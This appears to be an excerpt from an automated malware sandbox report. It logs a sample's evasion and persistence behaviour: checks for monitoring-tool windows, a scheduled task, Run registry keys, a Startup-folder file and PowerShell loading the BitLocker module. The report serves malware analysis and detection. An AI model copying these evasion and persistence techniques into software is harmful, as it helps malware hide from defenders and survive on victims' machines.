Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f8645e1e85.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f8645e1e85.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fde98a8d0b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fde98a8d0b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 67fbb282d1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 67fbb282d1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f7b3852b06.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f7b3852b06.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

Code function: 5_2_00007FF67AED5820 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

5_2_00007FF67AED5820

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
